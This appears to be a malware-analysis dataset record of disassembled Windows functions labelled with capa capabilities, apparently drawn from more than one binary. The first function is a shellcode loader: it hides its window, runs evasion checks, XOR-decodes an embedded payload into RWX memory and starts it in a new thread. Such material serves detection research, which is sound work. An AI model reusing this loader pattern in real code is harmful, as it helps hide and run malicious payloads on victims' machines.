joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000149d
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Hide graphical window
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov eax, 0x62920
call fcn.140002710
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x62890], rax
mov rax, qword [rbp + 0x62890]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.yh8p1r1fffo.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x62888], rax
cmp qword [rbp + 0x62888], 0
je 0x14000150e
mov eax, 0
jmp 0x14000169c
call sym.x13d4l2s8tv
test eax, eax
je 0x140001697
mov qword [rbp + 0x62880], 0
mov ecx, 0x5f5e100
call sym.malloc
mov qword [rbp + 0x62880], rax
cmp qword [rbp + 0x62880], 0
je 0x140001697
mov rax, qword [rbp + 0x62880]
mov r8d, 0x5f5e100
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x62880]
mov rcx, rax
call sym.free
lea rax, [rbp - 0x50]
lea rdx, str.__37_
mov ecx, 0x3145d
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x62873], 0x61626162
mov byte [rbp + 0x62877], 0
mov dword [rbp + 0x6289c], 0
mov dword [rbp + 0x62898], 0
jmp 0x1400015ff
cmp dword [rbp + 0x6289c], 4
jne 0x1400015c3
mov dword [rbp + 0x6289c], 0
mov eax, dword [rbp + 0x62898]
cdqe
movzx edx, byte [rbp + rax - 0x50]
mov eax, dword [rbp + 0x6289c]
cdqe
movzx eax, byte [rbp + rax + 0x62873]
xor edx, eax
mov eax, dword [rbp + 0x62898]
cdqe
mov byte [rbp + rax + 0x31410], dl
add dword [rbp + 0x6289c], 1
add dword [rbp + 0x62898], 1
mov eax, dword [rbp + 0x62898]
cmp eax, 0x3145c
jbe 0x1400015b0
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x3145d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x62878], rax
mov rax, qword [rbp + 0x62878]
mov rcx, rax
lea rax, [rbp + 0x31410]
mov edx, 0x3145d
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x62878]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
call sym.x13d4l2s8tv
test eax, eax
jne 0x140001687
mov eax, 0
jmp 0x14000169c
mov eax, 0
add rsp, 0x62920
pop rbp
ret

Function at 0x140001970
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140002340
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000238d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002384
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000238f
add rax, 0x28
cmp rax, r9
jne 0x140002370
xor eax, eax
ret

Function at 0x140002390
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002420
mov rdx, qword [0x140035810]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000240e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000240e
cmp word [rax + 0x18], 0x20b
jne 0x14000240e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002420
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400023f9
add rbx, 0x28
cmp rbx, rdi
je 0x140002420
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400023f0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002430
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140035810]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002450
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002458
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002450
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400024ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400024a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002450
add rax, 0x28
cmp rax, r9
jne 0x140002490
xor eax, eax
ret

Function at 0x1400024b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140035810]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400024cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400024d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400024cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400024f0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140035810]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002510
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002518
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002510
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002560
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002557
test rcx, rcx
je 0x140002510
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002548
xor eax, eax
ret
Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140035810]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000258f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002598
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400025b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140035810]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025d0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400025d0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002624
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002630
add rdx, 0x28
cmp r9, rdx
jne 0x140002610
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002640
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140035810]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002662
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002670
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002662
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002662
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002662
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400026c5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400026d8
add rdx, 0x28
cmp rdx, r10
jne 0x1400026b0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400026e7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400026f7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400026ce
test ecx, ecx
jg 0x1400026e0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400187d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400187e0]
mov dword [rax], 1
mov rax, qword [0x1400187f0]
mov dword [rax], 1
mov rax, qword [0x140018780]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400187c0]
mov dword [0x14001b00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400188a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140018880]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140018730]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001db0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14001b0a4]
mov rbx, rcx
test esi, esi
jle 0x140001ee0
mov rax, qword [0x14001b0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001dfb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001e85
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001de0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001f02
mov rax, qword [0x14001b0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14001b0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ee7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001e7e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001e90
add dword [0x14001b0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14001b0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001e08
mov rax, qword [0x14001b0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002470
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14001b100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14001b0e0]
test rbx, rbx
je 0x1400024cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400024c3
test rsi, rsi
je 0x1400024c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400024a8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400026e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400026f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002700
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002710
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000275d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002754
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000275f
add rax, 0x28
cmp rax, r9
jne 0x140002740
xor eax, eax
ret

Function at 0x140002760
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400027f0
mov rdx, qword [0x140018780]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400027de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400027de
cmp word [rax + 0x18], 0x20b
jne 0x1400027de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400027f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400027c9
add rbx, 0x28
cmp rbx, rdi
je 0x1400027f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400027c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002800
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140018780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002820
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002828
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002820
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000287d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002874
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002820
add rax, 0x28
cmp rax, r9
jne 0x140002860
xor eax, eax
ret

Function at 0x140002880
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140018780]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000289f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400028a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000289f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400028c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140018780]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400028e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400028e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400028e0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002930
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002927
test rcx, rcx
je 0x1400028e0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002918
xor eax, eax
ret
Function at 0x140002940
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140018780]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000295f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002968
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002980
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140018780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400029a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400029a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029a0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400029a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400029f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002a00
add rdx, 0x28
cmp r9, rdx
jne 0x1400029e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002a10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140018780]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002a32
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002a40
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a32
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002a32
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002a32
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002a95
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002aa8
add rdx, 0x28
cmp rdx, r10
jne 0x140002a80
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002ab7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002ac7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002a9e
test ecx, ecx
jg 0x140002ab0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14000398c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movss xmm0, dword [r8]
xorps xmm1, xmm1
ucomiss xmm0, xmm1
jp 0x1400039a8
jne 0x1400039a8
movss xmm0, dword [r8 + 4]
ucomiss xmm0, xmm1
jp 0x1400039a8
je 0x1400039c6
mov rax, qword [0x14018c350]
movsd xmm0, qword [r8]
movsd qword [rax + 0x1af4], xmm0
mov dword [rax + 0x1acc], 4
comiss xmm3, xmm1
jb 0x1400039e4
mov rax, qword [0x14018c350]
movss dword [rax + 0x1b28], xmm3
mov dword [rax + 0x1ae0], 1
mov r8d, dword [rsp + 0x28]
jmp fcn.1400039f0
Function at 0x140009648
Capabilities:
Hash data with crc32

Disassembly:
mov rax, qword [rcx + 0x1e8]
mov r10, r8
movsxd r9, dword [rcx + 0x1e0]
mov r11, rdx
mov rcx, r11
mov r8d, dword [rax + r9*4 - 4]
mov eax, r10d
sub eax, edx
neg r10
sbb edx, edx
and edx, eax
jmp fcn.14000a070

Function at 0x140009d00
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd r15, r9d
mov rsi, r8
test r8, r8
je 0x140009d27
and qword [r8], 0
call fcn.140009e3c
mov rbx, rax
test rax, rax
je 0x140009e20
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140009e17
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140009e17
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140009e17
mov rax, qword [0x14018c350]
mov rbp, rdi
test rax, rax
je 0x140009d8f
inc dword [rax + 0x3c8]
mov rdx, qword [0x14018c360]
lea rcx, [r15 + rdi]
call qword [section..data]
mov rdi, rax
test rax, rax
je 0x140009e17
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rbp
je 0x140009dee
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x14018c350]
test rax, rax
je 0x140009ddc
dec dword [rax + 0x3c8]
mov rdx, qword [0x14018c360]
mov rcx, rdi
call qword [0x1400c8008]
jmp 0x140009e20
test r15d, r15d
jle 0x140009e01
lea rcx, [rdi + rbp]
mov r8, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x140009e12
mov qword [rsi], rbp
mov rax, rdi
jmp 0x140009e22
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x14000a070
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
cmp dword [0x14018c384], 0
lea rsi, [0x14018c380]
mov ebx, r8d
mov edi, edx
mov r10, rcx
jne 0x14000a0d7
xor r9d, r9d
mov r11, rsi
mov r8d, r9d
mov edx, 8
mov ecx, r8d
mov eax, r8d
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
mov r8d, ecx
xor r8d, eax
sub rdx, 1
jne 0x14000a0a5
mov dword [r11], r8d
inc r9d
add r11, 4
cmp r9d, 0x100
jb 0x14000a09d
not ebx
mov edx, ebx
test edi, edi
jle 0x14000a0f9
movzx eax, byte [r10]
inc r10
movzx ecx, dl
xor rcx, rax
shr edx, 8
xor edx, dword [rsi + rcx*4]
sub edi, 1
jne 0x14000a0df
jmp 0x14000a133
mov r8b, byte [r10]
inc r10
test r8b, r8b
je 0x14000a133
mov r9b, reloc.WLDAP32.dll_Ordinal_35
cmp r8b, r9b
jne 0x14000a118
cmp byte [r10], r9b
jne 0x14000a118
cmp byte [r10 + 1], r9b
cmove edx, ebx
movzx ecx, dl
movzx eax, r8b
mov r8b, byte [r10]
xor rcx, rax
shr edx, 8
inc r10
xor edx, dword [rsi + rcx*4]
test r8b, r8b
jne 0x14000a107
mov rbx, qword [rsp + 8]
not edx
mov rsi, qword [rsp + 0x10]
mov eax, edx
mov rdi, qword [rsp + 0x18]
ret
Function at 0x14000f308
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x14018c350]
mov rbx, rcx
and dword [rax + 0x2d9c], 0
test rcx, rcx
je 0x14000f371
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.14000f37c
lea rdx, [0x1400a71a4]
mov rcx, rbx
mov rdi, rax
call fcn.140009e3c
mov rbx, rax
test rax, rax
je 0x14000f371
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14001d73c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
xor r14d, r14d
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rsi, rdx
movsxd rdi, r9d
mov rbp, rcx
test r9d, r9d
jle 0x14001d92d
lea rbx, [r8 + 0x20]
xor r13d, r13d
lea r8d, [r14 + 1]
mov r11d, 0x100
xorps xmm7, xmm7
movss xmm6, dword [rbx - 0x20]
comiss xmm6, xmm7
jbe 0x14001d7de
movsxd r10, dword [rsi + 0x24]
mov r9, qword [rsi + 8]
movsx ecx, r11w
movzx eax, byte [r10 + r9 + 7]
movzx edx, byte [r10 + r9 + 6]
imul edx, ecx
movsx ecx, r11w
add dx, ax
movzx eax, byte [r10 + r9 + 5]
movsx r8d, dx
movzx edx, byte [r10 + r9 + 4]
imul edx, ecx
add ax, dx
cwde
sub eax, r8d
mov r8d, 1
movd xmm0, eax
jmp 0x14001d800
movsxd rdx, dword [rsi + 0x1c]
mov rax, qword [rsi + 8]
xorps xmm6, xmmword [0x1400a7340]
movzx ecx, byte [rdx + rax + 0x12]
movzx eax, byte [rdx + rax + 0x13]
shl ecx, 8
add ecx, eax
movd xmm0, ecx
mov al, byte [rbp + 0x20]
xor r15d, r15d
cvtdq2ps xmm0, xmm0
mov byte [rbx], al
mov al, byte [rbp + 0x24]
mov byte [rbx + 1], al
divss xmm6, xmm0
cmp dword [rbx - 0x10], r15d
jle 0x14001d920
mov rcx, qword [rsp + 0xe0]
mov rax, r13
shl rax, 4
add rcx, 6
xor r12d, r12d
add rcx, rax
mov qword [rsp + 0x60], rcx
mov rax, qword [rbx - 0x18]
test rax, rax
jne 0x14001d84e
mov edx, dword [rbx - 0x1c]
add edx, r15d
jmp 0x14001d852
mov edx, dword [rax + r12]
mov rcx, rsi
call fcn.14001cea0
mov edx, eax
xorps xmm3, xmm3
mov eax, dword [rbp + 0x24]
xorps xmm2, xmm2
mov rcx, rsi
cvtsi2ss xmm3, rax
mov eax, dword [rbp + 0x20]
cvtsi2ss xmm2, rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x30], rax
movss dword [rsp + 0x28], xmm7
mulss xmm3, xmm6
mulss xmm2, xmm6
